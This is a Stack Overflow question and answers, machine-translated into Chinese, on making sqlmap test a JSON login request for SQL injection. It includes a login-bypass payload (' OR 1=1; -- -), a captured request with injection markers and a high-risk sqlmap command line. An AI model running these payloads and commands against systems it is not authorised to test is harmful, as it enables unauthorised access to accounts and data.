SQLMAP - 将 JSON 数据作为正文发布答案

【问题标题】：SQLMAP - Post JSON data as bodySQLMAP - 将 JSON 数据作为正文发布
【发布时间】：2017-03-30 10:38:03
【问题描述】：

您好，我正在尝试在登录表单中进行 SQL 注入。

使用 BurpSuite 我拦截了请求：

POST /xxxx/web/Login HTTP/1.1
Host: 10.0.0.70:42020
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Referer: http://xxxxxx.com/xxxxxx/
Content-Length: 44
origin: http://xxxxx.com
Connection: close

{"username”:"user",”password”:"pass"}

使用：

sqlmap -u requestFile

（其中requestFile是Burp截取的请求内容）

sqlmap 找不到可注入的字段，即密码。

如果我输入密码，我确定这是可注射的原因：

' OR 1=1; -- -

我可以使用我插入的每个用户名登录

也尝试过：

{"username”:*,”password”:*}

但没有运气。

我做错了什么？

【问题讨论】：

这个问题可能更适合security.stackexchange.com，但由于它是一种中间地带，我不会投票结束这里。不过，您可能会在那里得到更多答案。
好的也发布在security.stackexchange.com

标签： sql sql-injection burp sqlmap

【解决方案1】：

例子：

POST / HTTP/1.1
Host: www.example.com

{"username":"*", "password":"*"}

另存为sqlrequest.txt

然后可以使用此命令启动测试：

py sqlmap.py -r sqlrequest.txt --level=5 risk=3 --force-ssl

然后您应该会收到一个提示，提示您找到了自定义注入标记，并且在 POST 正文中找到了 JSON 数据。处理两者，然后你就可以开始了。

来源：

https://security.stackexchange.com/a/150506/67046

https://security.stackexchange.com/a/51862/67046

【讨论】：

【解决方案2】：

sqlmap -u 网址

sqlmap -r 请求文件

请求使用教程

check this video

【讨论】：

欢迎来到 StackOverflow。应该通过添加对代码项正在做什么的描述或对该解决方案为何起作用的解释来改进此答案。